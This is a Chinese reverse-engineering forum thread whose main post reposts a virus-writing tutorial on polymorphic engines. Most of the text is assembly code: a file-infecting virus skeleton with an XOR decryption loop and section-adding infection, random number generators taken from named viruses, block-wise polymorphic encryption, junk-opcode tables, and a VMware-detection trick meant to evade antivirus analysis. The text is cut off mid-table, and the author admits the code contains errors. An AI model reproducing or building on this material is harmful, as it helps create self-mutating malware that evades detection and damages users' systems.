|
求助Tasm32汇编指令
最初由 cyclotron 发布 哦,你要的是最大体积。一般来说变形形态是通过一个随机函数来控制的。只对特定类型的操作码进行变形。你不可能在编程的时候自己数特定代码的个数吧。当然你可以大致做一个测试来确定尺寸。反正内存申请是1000H对齐的。每次变形代码应该不会大于这个数。 |
|
剩余空间查看
主要是看什么样子的操作系统。各个操作系统申请到的内存基址都是不同的。另:我还想再说明一下,用这种方法来对付壳的代码搬运不是正途。其兼容性和脱壳完美度会差很多啊 |
|
[求助]脱壳中遇到了一个没有办法查壳的程序!
没看提示吗?不是正确的32位可执行文件。可能是DOS版本的吧。 |
|
纵 横 间 谁 能 相 抗 ― 论 壳 与 加 壳 技 术
不用跟,只要会脱最难的就行了。 |
|
老王的壳在64bit的系统下无法运行!
64位汇编器请用YASM,目前仅支持AMD64,相关资料到AMD64 OPEN SOURCE看看,里面有几篇文章,不过不深,另在29A最新杂志中也有一篇关于64位汇编的东西也可参考。http://www.tortall.net/projects/yasm/ 申明:不是78个,而是7、8个。包括LINUX和FREEBSD |
|
求助Tasm32汇编指令
不太明白你的预知大小是什么意思,但是你可以在代码臆后定义两个标签来在程序运行时中得到代码的尺寸。比如: .codestart: 程序代码... lenCode dd $-.codestart |
|
老王的壳在64bit的系统下无法运行!
测试版啊。象我这样专业混论坛的,机子上少说也要装7\8个操作系统啊。 |
|
老王的壳在64bit的系统下无法运行!
晕。我要是程序员哪还有时间来灌水。 |
|
求助Tasm32汇编指令
我代版主回复你: 来自CVC的VXK关于变形的文章: ; 理 论 变 形 学 ; 第一讲:: 序 "No matter death or live,I would be on your sides forever." ――James・Raynor 在很久很久以前,在遥远遥远的星系中,我想写一篇关于变形的纯理论的 文章,于是随着时间的推移,终于这篇文章诞生了...... 一.变形学的基础伦理 (一).做Poly的条件 "To Poly or not to Poly,it is a problem for a vxer." ――Vxk 是否想要做Poly,一要看Vxer的想法,而是必要性――if vxer 一定要poly, 那么有没有必要就不重要了,不过如果有如下其中一种情况则非做poly不可。 1.你借用了大量他人的代码,其中一些代码很出名!(那样的话,AVer会很快 找到查杀方法) 2.你的病毒在编译时就被NAV提醒有问题。 3.你的病毒在测试时被金山报警(被瑞星报警的polyVirus也很多,所以暂时 不管他),这样的病毒最好重写。 4.你的病毒过分简单::搜索磁盘文件+感染+PayLoad:uses MessageBoxA( 太没咬头了,Aver会在半小时内XX掉它)。 5.你的病毒出奇的巨型:这样大也就不在乎再大一点了(AVer会很注意这样东西)。 6.你的病毒要潜伏一个星期!!!(一般没Poly的Virus,Aver一个小时就会XX 掉了――一个星期别开了)。 好了暂时就这些了,你的病毒如果没上面的问题――奇怪了,你用的是Ring0Virus Tech? hehe,我需要讲一下哪几种情况千万不要Poly:: 1.Ring0病毒::用Poly会发生一些可爱的错误,除非你对ring0十分了解。 2.试验型病毒::你只是要实验新技术,没必要用poly,那样会影响实验的。 3.礼物型病毒::你想让你的朋友痛苦吗?那就用Poly吧(你的朋友是AVER, 那就用,看看他的水平如何?) OK,这就是Poly的条件了。 下面,我们要看看Poly的等级划分了。 (二)给poly打分的计算方法 "It is hard for an aver to recode and kill an eight-level-mark poly virus." ――Vxk 通常拿到一个Virus放进VM,得到反汇编的代码――如果有poly,(AVERZ)我们会给 poly打分。打分是一种划分poly等级的通用方法:: 开始计分为:0分 打分标准:: 1.有多随机种子选取系统,+0.5分(以下就不写分字了) 2.有随机寄存器和加密算法选取(注意是选取),+0.5 3.有随机垃圾代码生成,+0.5 4.有加密算法自生成,+0.5 5.生成加密算法大小大于0.5KB,+0.5 6.能随机插入抗静态反汇编代码,+0.5 7.能调整非加解密部分的代码所用寄存器的,+0.5 8.能对Poly Engine部分的代码可进行部分代码称块状的随机加密变形,+0.5 9.能够进行代码压缩的,+0.5 10.压缩使用多种算法随机选取,+0.5 11.能进行分块时代码压缩,+0.5 12.能对全部代码实现分块式随机加密变形,+0.5 13.具有多poly的多层壳结构块式变形能力,+1 14.具有遗传演化变形能力,+1 15.使用64位指令系统,如SSE,MMX,3d!now等等,+1 16.使用抗VM分析的特殊代码,+1 总共10分,能够取得5-6分就是不错的polyVirus了(什么得了10分?你写的!?救护车!!) OK.在此基础上,我们来划分poly的种类 分值 0 1.5 2 3 4 4.5 5 6 7 8 9 10 等级 -1 0 1 1.5 2 3 4.5 5 5.5 6 7 8 产生概率 100% 95% 90% 87% 80% 80% 76.5% 45% 21.35% 12.1% 2% 0.001% 注释:: 等级按破除病毒所需的时间而算:: 设Xl为等级,VMp为VM的效率 TK为解除时间(小时) ,代码编写效率为pC CAV为协同工作AVer数量(通常为一) TK=(2.4*ABS(XL)/CAV+2.5+ABS(XL)/VMp)/pC 生产概率按每一百职业VXERZ算。 (三)写poly的一些基础准备 "No matter knowing or unkowning,I will tell you the way there" ――Zetarul 如何去写一个Poly是一个很重要的问题,通常写Poly之前都要有几个准 备工作:: 1.一本Intel i386 的手册,一本AMD手册 2.x86汇编手册(如果你对ASM了如指掌,就免了) 3.Poly的等级定位,如同做游戏一样,你不能一开始就写一个StartCraft 出来。所以建议定位到3-4.5就行了。(8!?你发疯了??) OK,现在给出一个PolyVirus的构架,下一章我们将讲Poly的一些技术问题 ;引自pkxp的贴子 1. 定位 Call Delta Delta: pop ebp sub ebp,offset Delta mov dword ptr [ebp+appBase],ebp 2. 解密代码 lea edi , [ebx + offset EncryptStart] mov ecx , VEnd - EncryptStart DecryptLoop: xor byte ptr [edi] , 00h key=byte ptr $-1 inc edi loop DecryptLoop EncryptStart: call GetKBase ;得到hKernel call GetAPIz ;得到api地址 2. 感染一个文件 1)分析合法性 2)添加一个节 3)这里不能直接写入病毒代码,要如下工作: a. pMem=VirtualAlloc(VEnd-VStart...) b. mov esi,offset VStart mov edi,pMem mov ecx,VEnd-VStart rep movsb ;移动病毒代码到新开辟区 eax = pMem + (Key-VStart) mov eax,11h ;key=11h esi = pMem + (EncryptStart-VStart) edi = esi ;下面循环 loadsb xor al,11h ;key stosb c. WriteFile(pMem...VEnd-VStart) 此时写入的是加密代码。 二。Poly的实际编写时遇到的问题的解决方法与方案 (一)插入一段代码的方法 "En Taro Adun,thanx to the AuirSha.You're alive now." ――Vxk 有上可以看到Poly的关键是插入解密代码(变形恢复?不必要吧) 那么要如何才能插入一段代码呢?现在让我来告诉你们::主要用到两 个指令Movsy和Stosy(y=b/w) 看看这个代码:: CLD;调整地址,很重要,有时不必要写这个 lea edi,[ebp+offset Decry] ;将Decry的地址装入edi mov eax,0h mov ecx,[ebp+Decry_len];装入DEcry的大小 rep stosy ;清空Decry的内容 ;这是为了重新写入新的代码 lea edi,[ebp+offset Decry] mov esi,NewDeCry_addr mov ecx,DEcry_len rep movsy ;不用讲了吧 这段代码将定长的DEcry清除,写入新的Decry,不过有些缺点:: 只适合预先留好空隙的Virus,just like this code VStart: Call gdelta @I0 MAX_Length dup (90h) gdelta: pop ebp lea ebp,[ebp-offset gdelta] @I1 256 dup (90h) V_Real: @I2 Max_length dup (90h) 这样一堆一堆的Nop看的就不舒服,而且AVER只要在特定位置XX你的DEcry就OK了。 那么怎样改进呢? hh~~,这个简单你难道不知道吗?看下一段吧。 (二)代码整合的问题的解决方法 "Benny,I think it very hard for me to anti your code." ――Vxk 上回说到Poly的代码不留空隙的解决方法,这个确实是一个难题 很少有人真的想过,不过你看过Virus的代码吧?知道非EPO的Virus返 回时的方法吧???什么太古老不记得了?吐血了,没关系看下面的 这段代码,它是一个poly的部分代码:: ;假设V_Data_Addr为加密后病毒代码的地址 ;V_len为加密后病毒代码的大小 ;CRY_len为DEcry代码的大小 ;CRY_Data_Addr为DEcry代码的地址 ; host_addr 为Host返回地址 Call DoPoly;调用加密变形模块 push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push V_len+decry_len+decry_header_len+2h push 0 Call dword ptr [ebp+_VirtualAlloc] mov pMem, eax mov edi , eax ;edi指向新开辟的内存 lea esi,[ebp+offset decry_Header] mov ecx,decry_header_len mov [ebp+Addr_R_cry],decry_header_len+1h-offset pMem rep movsy inc edi mov esi,decry_data_addr mov ecx,decry_len mov [ebp+Addr_V_begin],edi+decry_len+1h-offset pMem rep movsy inc edi mov esi,v_data_addr mov ecx,v_len mov [ebp+Host_op],host_addr rep movsy mov eax,decry_header_len add eax,1h add eax,decry_len add eax,1h add eax,v_len mov [ebp+V_To_Write_len],eax;重新计算病毒大小 Call WriteVirusBack;返回去写文件 ret Decry_header: pushad Call header_delta header_delta: pop ebp lea ebp,[ebp-offset header_delta] mov eax,12345678h addr_r_cry=$-4 jmp short eax decry_header_end: decry_header_len equ decry_header_end-decry_header ;在生成Decry代码时必须加入的代码 Decry_Begin: mov eax,12345678h addr_v_begin=$-4 mov [ebp+Virus_addr],eax ;剩下的相信你会做的 这是一个解决的方法,虽然不是最好的方法,不过已经可以适用于我们的poly了。 (三)动态代码生成技术中的难题 "Active on time, it is a great problem for a virus coder." ――Jhon.A 难点主要有代码大小的计算和代码生成两个部分:: 这里就不再写代码来描述解决方案了,主要就是两个字::手册,你想写得绝妙, 就把一本intel i386指令集手册的机器码及大小写进去吧...目前还没有好方法。 (四)一些深入的技术难题 1.压缩 2.指令分析 3.分块技术 4.遗传变异::这个涉及到Debugger和即时反汇编技术(分析别的病毒获得新的东西,吐血!) 5.抗VM分析::这个还是给出来吧... mov ecx, 0Ah ; CX=function# (0Ah=get_version) mov eax, 'VMXh' ; EAX=magic mov dx, 'VX' ; DX=magic in eax, dx ; specially processed io cmd ; output: EAX/EBX/ECX = data cmp ebx, 'VMXh' ; also eax/ecx modified (maybe vmw/os ver?) je under_VMware 前四个将在以后的理论变形学里讲解。 //这一讲里的代码存在错误(高低位搞错了),我本来想修正的,不过代码太大了...大家自己修正一下吧. 第二讲: ("这一讲的代码量很多..") "我还是喜欢写代码,不是讲理论..." ――Vxk 一.随机数的生成 我想大家一定知道随机数的生成对poly的随机生成代码,选择寄存器,分块选择等 功能起着决定性。于是选择一个好的随机数算法是非常重要的事情,现在让我们看一下 一些随机数的生成算法:: A.最常见的随机算法:: ;选自Pkxp的win32.simplypoly.19xx ;不是很好的算法...过分简单 Random PROC Seed: DWORD ;返回值在eax中。 mov eax , 12345678h _GetTickCount = dword ptr $-4 call eax xor edx , edx div Seed xchg edx , eax ;需要的是余数,在edx中。 ret 4 Random ENDP ;样例:: push 4 Call Random B.常用的算法:: ;选自win32.XXX.16xx by Benny. Randomize proc pushad _rnd_:dw 310fh;这里用了一个intel pentium 上出现的指令::0f 31 RDTSC db (Max_path-2) dup (90h) ;using the intel asmcode to produce a seed rnd num add eax,edx mov [ebp+_Seed],eax popad retn Randomize Endp RandNum Proc pushad push eax push edx mov eax,[ebp+_Seed] mov ecx,41c64e6dh;小m数列 mul ecx add eax,3039h;修正 mov [ebp+_Seed],eax xor edx,edx div dword ptr [esp+0ch];取参数,别说你不会用esp xchg eax,edx add [ebp+_Seed],eax pop edx pop eax popad ret 4 RandNum Endp ;样例:: Call Randomize push 4f;参数 Call RandNum C.最NX的算法:: ;选自??,好像还没有人用这种算法做poly Engine. ; 即将出现在我的Poly Engine ::Vxk's Death Engine. ; MCoef_32_0 DD E7BD2160H MCoef_32_1 DD DA3A2A9CH // 两个小m序列系数 m_Seq_32_m proc dwMset:DWORD,dwKey:DWORD,nNumber:DWORD,pdwRandom:DWORD ; dwMset: 随机发生器所使用的小m序列 ; dwKey: 随机数种子 ; nNumber: 产生的随机序列长度(以DWORD为单位) ; pdwRandom: 指向随机数存储空间的指针 CLD MOV EDI,pdwRandom; MOV ECX,nNumber; MOV ESI,dwMset; MOV EAX,dwKey; ALIGN 4; what it is? LOOP_CIRCLE1: PUSH ECX MOV ECX,32 LOOP_CIRCLE2: MOV EBX,EAX; SHL EAX,1 AND EBX,ESI;select the bit for xor MOV EDX,EBX; BSWAP EBX; XOR BX,DX; XOR BH,BL; because P only judge one byte ;so must XOR to judge the p of whole word JP NEXT ;jp equals the xor INC EAX NEXT: DEC ecx JNZ LOOP_CIRCLE2 POP ECX STOSD DEC ECX JNZ LOOP_CIRCLE1 mov edx,eax m_Seq_32_m ENDP RandomGenerator proc Buffer:DWORD,nlength:DWORD ; 产生长度为nLength字节的随机数 ; Buffer: 指向随机数存放区域的指针 ; nLength: 产生随机数数量 LOCAL A:DWORD; B 4 DUP(0) RDTSC MOV A,EAX CALL m_Seq_32_m,[EBP+MCoef_32_0],A,nLength/4,Buffer mov edx,nLength div edx,4h mov eax,edx mul eax,4h cmp eax,nLength jnz FV FV: CALL m_Seq_32_m,[EBP+MCoef_32_1],A,1,[EBP+B] lea esi,[ebp+offset B] lea edi,[offset Buffer+(nlength/4)*4] mov ecx,edx rep movsb ret RandomGenerator ENDP ;样例:: ;调用A的Random push 12dfeabh Call Random mov [ebp+myseed],eax ;调用B的Randomize和RandNum Call Randomize push [ebp+myseed] Call RandNum ;调用我们的RandmGenerator push [ebp+_Seed] push [ebp+myKey] Call RandomGenerator 至此我们对随机数有了一个基本的了解,XX~~以后还会再次提到随机的问题... 二.Blocks codes Poly的理论实现 (一).如何分块? "I would like to fight against the enemies,not to stay at the Nexu's Talbe." ―― Astraint 现在我们来思考这个问题,OK_你有想法了?好大家一起来看一个BlocksPolyVirus(没有使用 整合技术的)的构架代码 :: Vstart: pushad;保存入口信息。。 @SEH_SetupFrame <jmp Vstart2> @I0:db 32*2 DUP (90h) ;32*2大的乱码,可以引发错误... @I1:db 1024*4 dup (90H) ;这放4KB大(部分AVSoft的VM极限)的正常代码::非病毒代码,可以是一段经典的算法程序 Vstart3: . | . | . | . |――这里放一段正常的代码(注意是正常代码!) . | . | Vstart3_end: int 3;引发异常 Vstart3_len equ Vstart3_end-Vstart3 Vstart2: @RemoveSEHFrame Call Gdelta Gdelta: pop ebp lea ebp,[ebp-offset Gdelta] @SEH_SetupFrame <jmp @MainDecry> Vstart4: ;又是正常代码 ;可怜的AVSoft Vstart4_end: xor eax,eax Call eax;引发异常 @MainDecry: @De_RStart :db 32*2 Dup (90H) ;足够让人吐血 RStart: @RemoveSEHFrame @Seh_setupframe <jmp end_virus> Call Check_Nt Check_Nt: @De_CheckNt: db 32*2 DUP (90h) ;每一个Blocks of code都有自己的Decry CheckNt: movebp,[esp+4];EBP = delta offset movedx,cs xordl,dl jnz 9x_part;是Win9x/me就转到9x_part去 Call NT_Start Check_Nt_end: @I2:db 32 Dup (90h) ;乱码!! CheckNT_len equ $-CheckNT 9x_part: @De_9xpart:db 32*2 DUP (90h) 9xpart: ;在9x下的事情 9x_part_end: @I3:db 32 Dup (90h) ;乱码 9x_part_len equ $-9xpart NT_Start: @De_NTStart:db 32*2 Dup (90h) NTStart: ;做NT下的事情 NT_Start_end: @I4:db 32 Dup (90h) ;乱码 NT_Start_len equ $-NTStart ......;省略类似的代码N行 ;我们的重点在这里 ... ;这里是关于Block的结构定义 MyBlock Struc Block_addr dd 0;块的地址 Block_len dd 0;块的大小 Block_num dd 0;块的号码 Block_de_addr dd 0;De_**的地址 MyBlock Ends ReadyTheBlocks: @De_Blocks:db 32*2 Dup (90h) ToReadyThePoly_ip: ;在这里我们准备Poly的Blocks的数据,这些代码很简单.. pushad lea eax,[ebp+offset Rstart] mov dword ptr [ebp+RstartBlock].Block_addr,eax mov dword ptr [ebp+RstartBlock].Block_len, [ebp+offset (Check_NT-Rstart)] mov dword ptr [ebp+RstartBlock].Block_num,0 lea eax,[ebp+offset @MainDecry] mov dword ptr [ebp+RstartBlock].Block_de_addr,eax @I16: db 32 Dup (90h) ;一些正常的代码 Lea eax,[ebp+offset CheckNt] mov dword ptr [ebp+CheckNtBK].Block_addr,eax mov dword ptr [ebp+CheckNtBK].Block_len,[ebp+CheckNT_len] mov dword ptr [ebp+CheckNtBK].Block_num,1 lea eax,[ebp+offset @De_ChackNT] mov dword ptr [ebp+CheckNtBK].Block_de_addr,eax @I17: db 32 Dup (90h) ;一些正常的代码 Lea eax,[ebp+offset 9xpart] mov dword ptr [ebp+9xpartBK].Block_addr,eax mov dword ptr [ebp+9xpartBK].Block_len,[ebp+9x_part_len] mov dword ptr [ebp+9xpartBK].Block_num,2 lea eax,[ebp+offset @De_9xpart] mov dword ptr [ebp+9xpartBK].Block_de_addr,eax @I18:db 32 Dup (90h) ;一些正常的代码 Lea eax,[ebp+offset NTStart] mov dword ptr [ebp+NTStartBK].Block_addr,eax mov dword ptr [ebp+NTStartBK].Block_len,[ebp+Nt_part_len] mov dword ptr [ebp+NTStartBK].Block_num,3 lea eax,[ebp+offset @De_NTStart] mov dword ptr [ebp+NTStartBK].Block_de_addr,eax ;其他装配代码省略... ;...... ;装配Num编码系统 lea eax,dword ptr [ebp+CheckNTBK] mov dword ptr [ebp+Num1],eax lea eax,dword ptr [ebp+9xpartBK] mov dword ptr [ebp+Num2],eax lea eax,dword ptr [ebp+NTStartBK] mov dword ptr [ebp+Num3],eax ;....继续装配 ;...... popad ret ;现在让我们深入的研究Poly的 ;in eax==The MapViewFile handle BlocksPolyMorph: @De_BPM:db 32*2 Dup (90h) BlocksPolyMorph_r: pushad lea esi,[ebp+offset @De_BMP] mov eax,0h mov ecx,[ebp+offset (BlocksPolyMorph_r-@De_BMP)] rep stosb Call CreateARandomizeNum ;产生一个小于6的整数 ;存入EAX中.这是要Poly的Blocks数 mov [ebp+RND_Num],eax mov ebx,eax Call CreateNewPageHandle;创建新的内存空间,大小为::(VStart_End-VStart)+32*4 ;句柄存于EAX mov [ebp+HpMem],eax mov eax,[ebp+RND_Num] Call MoveAllDataToNewPage ;所有的数据移入HpMem指向的内存 Call ChoiseBlock ChoiseBlock: push eax Call ARndBlockNum ;生成一个Block的Num号,存入EAX中 ;根据号码选择Block的结构... mov ebx,dword ptr [ebp+Num&eax] Call BlockPoly;Block的poly Engine pop eax sub eax,1h mov [ebp+RND_Num],eax test eax,eax jnz ChoiseBlock jmp End_polyBlocks MoveAllDataToNewPage: push edi push esi push ecx mov edi,[ebp+HpMem] lea esi,[ebp+offset Vstart] mov ecx,[ebp+offset (Vstart_End-Vstart+3)/4] rep movsb pop ecx pop esi pop edi ret ;in ebx==Addr of the Blocks page BlockPoly: ;在这里很多东西和普通Poly一样 ;除了代码整合部分的特殊化... ;我们将在下面讲述整合的新方法 ;...... ;...... (二).新的代码整合技术描述 "In the post of wars,you do not have time to think weather killing is good or not for that you would not have life again..." ――Fenix 我们在上面研究了分块的方法,现在我们该研究一下新的整合代码方法...如果你很有心的留意 汇编的编写方法,有会很快发现这并不难,不过还是要讲的:: ;首先让我们回想一下上一讲的方法... ;好了现在开始了 ;假定生成的poly的添加代码部分名称为::AddCodeTo AddCodeTo: ;EBX==The Addr of Blocks Struc mov eax,ebx assume eax:ptr MyBlock mov edi,[ebp+HpMem] lea ebx,[ebp+offset Vstart] mov edx,00h add edx,dword ptr [eax].Block_addr sub edx,ebx add edi,edx ;计算出Block在Page中的位置 push eax Call MakeItCry;对Blocks加密 pop eax mov edi,[ebp+HpMem] lea ebx,[ebp+offset Vstart] mov edx,00h add edx,dword ptr [eax].Block_de_addr sub edx,ebx add edi,edx ;计算出DECry的位置 mov esi,[ebp+NewDeCry_addr] mov ecx,[ebp+(NewDecry_len)/4] rep movsd ;填写NewDecry的代码 ;..... 到这里相信你已经了解了Poly的分块实现全部技术关键了,下面我们将深入的分析代码的生成... 三.Poly中的代码生成的实现方法 "生命在于变化..." (一).干扰代码的生成 "June Me,sir" ――Sv/Ter13x(i do not what group is named ter13x.) June Code是Poly的精华之处,是poly的完美之处,是我们做poly的精要之处... (略去几万字的废话) 好了我们现在开始思考这个问题,首先关于June Code的选择方法? 我觉得June Code的选择应该很容易:: 下面是几个方案:::: 方案A,代码选择法::我们必须有一个JuneCode_table,这样采用Simplepoly的方 法即可生成*个June code了,不过方案过于简单 方案B,代码生成法::我们必须了解Opcode和指令格式,然后...但是实现代码过长 这里只做简单的描述代码 方案C,代码重编译法::我觉得生成汇编指令串::如::'Mov eax,edx'之类的代码 比较简单,只是需要写一个汇编引擎,很复杂...不过在Mute中我们还会再一次 使用汇编引擎,所以写一个引擎不是什么损失。 方案代码:: 方案A:: ;引自Pkxp的Simplepoly SelectOpcodes: push 5 pop ecx ;每次写6个bytes,循环5次=30d. @SOStart: push 20d call Random .IF AL < 4d call @SelectOpcode_6B ;选择个6字节代码插入 .ELSEIF AL < 8d call @SelectOpcode_1B ;1个字节 call @SelectOpcode_5B ;5个字节,下同 .ELSEIF AL < 12d call @SelectOpcode_5B call @SelectOpcode_1B .ELSEIF AL < 14d call @SelectOpcode_2B call @SelectOpcode_2B call @SelectOpcode_2B .ELSEIF AL < 17d call @SelectOpcode_2B call @SelectOpcode_1B call @SelectOpcode_2B call @SelectOpcode_1B .ELSE call @SelectOpcode_1B call @SelectOpcode_2B call @SelectOpcode_2B call @SelectOpcode_1B .ENDIF LOOP @SOStart ret ;************************************************************** @6Bytes: db 081h, 0C2h ;add edx db 081h, 0C6h ;add esi db 081h, 0EAh ;sub edx db 081h, 0EEh ;sub esi db 081h, 0F2h ;xor edx db 081h, 0F6h ;xor esi db 069h, 0C0h ;imul eax db 069h, 0D2h ;imul edx db 069h, 0F6h ;imul esi db 081h, 0E2h ;and edx db 081h, 0E6h ;and esi db 081h, 0CAh ;or edx db 081h, 0CEh ;or esi @SelectOpcode_6B: push ($ - @6Bytes)/2 call Random lea esi , [ebx + offset @6Bytes + eax*2] movsw stosd ;把eax中随即数写入 ret @5Bytes: db 0B8h ;mov eax db 0BAh ;mov edx db 0BEh ;mov esi db 005h ;add eax db 02Dh ;sub eax db 035h ;xor eax db 025h ;and eax db 0D7h ;or eax @SelectOpcode_5B: push ($ - @5Bytes) call Random lea esi, [ebx + offset @5Bytes + eax] movsb stosd ret @2Bytes: db 001h, 0C0h ;add eax, eax db 031h, 0C0h ;xor eax, eax db 001h, 0D2h ;add edx, edx db 031h, 0D2h ;xor edx, edx db 001h, 0D0h ;add eax, edx db 031h, 0D0h ;xor eax, edx db 031h, 0C2h ;xor edx, eax db 001h, 0F6h ;add esi, esi db 031h, 0F6h ;xor esi, esi @SelectOpcode_2B: push ($ - @2Bytes)/2 call Random lea esi, [ebx + offset @2Bytes + eax*2] movsw ret @1Byte: db 046h ;inc esi db 04Eh ;dec esi db 040h ;inc edx db 042h ;inc eax db 04Ah ;dec edx db 048h ;dec eax db 092h ;xchg edx, eax db 096h ;xchg esi, eax @SelectOpcode_1B: push ($ - @1Byte) call Random lea esi, [ebx + offset @1Byte + eax] movsb ret 方案B: ;我自己写的可能有错误。 ;还存有优化的余地.. Asm_Table_Begin: ;+------------+-------------+----------+ +------------+-------------+----------+ ;| Assembleur | Hex | Binaire | | Assembleur | Hex | Binaire | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push eax | 50 | 01010000 | | pop eax | 58 | 01011000 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push ebx | 53 | 01010011 | | pop ebx | 5B | 01011011 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push ecx | 51 | 01010001 | | pop ecx | 59 | 01011001 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push edx | 52 | 01010001 | | pop edx | 5A | 01011010 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push esi | 56 | 01010110 | | pop esi | 5E | 01011110 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push edi | 57 | 01010111 | | pop edi | 5F | 01011111 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push ebp | 55 | 01010101 | | pop ebp | 5D | 01011101 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| push esp | 54 | 01010100 | | pop esp | 5C | 01011100 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| pusha | 60 | 01100000 | | popa | 61 | 01100001 | ;+------------+-------------+----------+ +------------+-------------+----------+ ;| pushf | 9C | 10011100 | | popf | 9D | 10011101 | ;+------------+-------------+----------+ +------------+-------------+----------+ Asm_pop_table: db 9Dh db 61h db 5Ch db 5Dh db 5Fh db 5eh db 5ah db 59h db 5bh db 58h Asm_pop_table_end: Asm_push_table: db 9Ch db 90h db 54h db 55h db 57h db 56h db 52h db 51h db 53h db 50h Asm_push_table_end: Asm_xxxreg1reg2_table: db 8BH,C0H ;我们在添入reg时使用::add al,regx db 8BH,D8h ;regx=0XXX0000b=X0h db 8Bh,8Ch db 8Bh,0Dh db 8Bh,0Dh db 8Bh,8Fh ;db FFh,30h db 33h,C0h db 33h,D8h db 33h,C8h db 33h,D0h db 33h,F0h db 33h,F8h db 85h,C0h db 85h,D8H db 85h,C8H db 85h,D0H db 85h,F0H db 85h,F8H db 03h,C0h db 03h,D8h db 03h,C8h db 03h,D0h db 03h,F0h db 03h,F8h;03C0 db 2Bh,C0h db 2Bh,D8h db 2Bh,C8h db 2Bh,D0h db 2Bh,F0h db 2Bh,F1h db 3Bh,C0h db 3Bh,D8h db 3Bh,C8h db 3Bh,D0h db 3Bh,F0h db 3Bh,F8h db 8Bh,00h db 8Bh,18h db 8Bh,08H db 8Bh,10H db 8Bh,30H db 8Bh,38H db 0Bh,C0H db 0Bh,D8H db 0Bh,C8H db 0Bh,D0H db 0Bh,F0H db 0Bh,F8H Asm_xxxreg1reg2_end: Asm_xxxregimm32_table1: db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh db BBh,00h,00h,00h,00h db B9h,00h,00h,00h,00h db BAh,00h,00h,00h,00h db BEh,00h,00h,00h,00h db BFh,00h,00h,00h,00h ;db 68h,00h,00h,00h,00h db A9h,00h,00h,00h,00h db 35h,00h,00h,00h,00h db 05h,00h,00h,00h,00h db 2Dh,00h,00h,00h,00h db 3Dh,00h,00h,00h,00h Asm_xxxregimm32_table2: db F7h,C3h,00h,00h,00h,00h db F7h,C1h,00h,00h,00h,00h db F7h,C2h,00h,00h,00h,00h db F7h,C6h,00h,00h,00h,00h db F7h,C7h,00h,00h,00h,00h db 81h,F3h,00h,00h,00h,00h db 81h,F1h,00h,00h,00h,00h db 81h,F2h,00h,00h,00h,00h db 81h,F6h,00h,00h,00h,00h db 81h,F7h,00h,00h,00h,00h db 81h,C3h,00h,00h,00h,00h db 81h,C1h,00h,00h,00h,00h db 81h,C2h,00h,00h,00h,00h db 81h,C6h,00h,00h,00h,00h db 81h,C7h,00h,00h,00h,00h db 81h,EBh,00h,00h,00h,00h db 81h,E9h,00h,00h,00h,00h db 81h,EAh,00h,00h,00h,00h db 81h,EEh,00h,00h,00h,00h db 81h,EFh,00h,00h,00h,00h db 81h,FBh,00h,00h,00h,00h db 81h,F9h,00h,00h,00h,00h db 81h,FAh,00h,00h,00h,00h db 81h,FEh,00h,00h,00h,00h db 81h,FFh,00h,00h,00h,00h Asm_xxxregimm32_end: Asm_reg_table: db 00h;eax db 03h;ebx db 01h;ecx db 02h;edx db 06h;esi db 07h;edi db 05h;ebp db 04h;esp Asm_reg_end: ;a) xchg eax, ebx --> 93h --> 1001 0011b ;b) xchg eax, ecx --> 91h --> 1001 0001b ;c) xchg eax, edx --> 92h --> 1001 0010b ;d) xchg eax, esi --> 96h --> 1001 0110b ;e) xchg eax, edi --> 97h --> 1001 0111b ;f) xchg ebx, ecx --> 87h D9h --> 10000111 11011001b ;g) xchg ebx, edx --> 87h DAh --> 10000111 11011010b ;h) xchg ebx, esi --> 87h DEh --> 10000111 11011110b ;i) xchg ebx, edi --> 87h DFh --> 10000111 11011111b ;j) xchg ecx, edx --> 87h CAh --> 10000111 11001010b ;k) xchg ecx, esi --> 87h CEh --> 10000111 11001110b ;l) xchg ecx, edi --> 87h CFh --> 10000111 11001111b ;m) xchg edx, esi --> 87h D6h --> 10000111 11010110b ;n) xchg edx, edi --> 87h D7h --> 10000111 11010111b ;o) xchg esi, edi --> 87h F7h --> 10000111 11110111b Asm_Xchg_table1: db 93h db 91h db 92h db 96h db 97h Asm_Xchg_table2: db 87h,D9h db 87h,DAh db 87h,DEh db 87h,DFh db 87h,CAh db 87h,CEh db 87h,CFh db 87h,D6h db 87h,D7h db 87h,F7h Asm_Xchg_end: ; - Mov [eax], reg1: 1000 1001 00xx x000b ; - reg1=ebx: xx x = 01 1 ; - reg1=ecx: xx x = 00 1 ; - reg1=edx: xx x = 01 0 ; - reg1=esi: xx x = 11 0 ; - reg1=edi: xx x = 11 1 ;- Mov [ebx], reg1: 1000 1001 00xx x011b ; - reg1=eax: xx x = 00 0 ; - reg1=ecx: xx x = 00 1 ; - reg1=edx: xx x = 01 0 ; - reg1=esi: xx x = 11 0 ; - reg1=edi: xx x = 11 1 ;- Mov [ecx], reg1: 1000 1001 00xx x001b ; - reg1=eax: xx x = 00 0 ; - reg1=ebx: xx x = 01 1 ; - reg1=edx: xx x = 01 0 ; - reg1=esi: xx x = 11 0 ; - reg1=edi: xx x = 11 1 ;- Mov [edx], reg1: 1000 1001 00xx x010b ; - reg1=eax: xx x = 00 0 ; - reg1=ebx: xx x = 01 1 ; - reg1=ecx: xx x = 00 1 ; - reg1=esi: xx x = 11 0 ; - reg1=edi: xx x = 11 1 ;- Mov [esi], reg1: 1000 1001 00xx x110b ; - reg1=eax: xx x = 00 0 ; - reg1=ebx: xx x = 01 1 ; - reg1=ecx: xx x = 00 1 ; - reg1=edx: xx x = 01 0 ; - reg1=edi: xx x = 11 1 ;- Mov [edi], reg1: 1000 1001 00xx x111b ; - reg1=eax: xx x = 00 0 ; - reg1=ebx: xx x = 01 1 ; - reg1=ecx: xx x = 00 1 ; - reg1=edx: xx x = 01 0 ; - reg1=esi: xx x = 11 0 Asm_MovExReg1Reg2_table: db 89h,00H db 89h,03H db 89h,01H db 89h,02H db 89h,06H db 89h,07H Asm_MovExReg1Reg2_end: ;- inc eax: 40h ;- inc ebx: 43h ;- inc ecx: 41h ;- inc edx: 42h ;- inc esi: 46h ;- 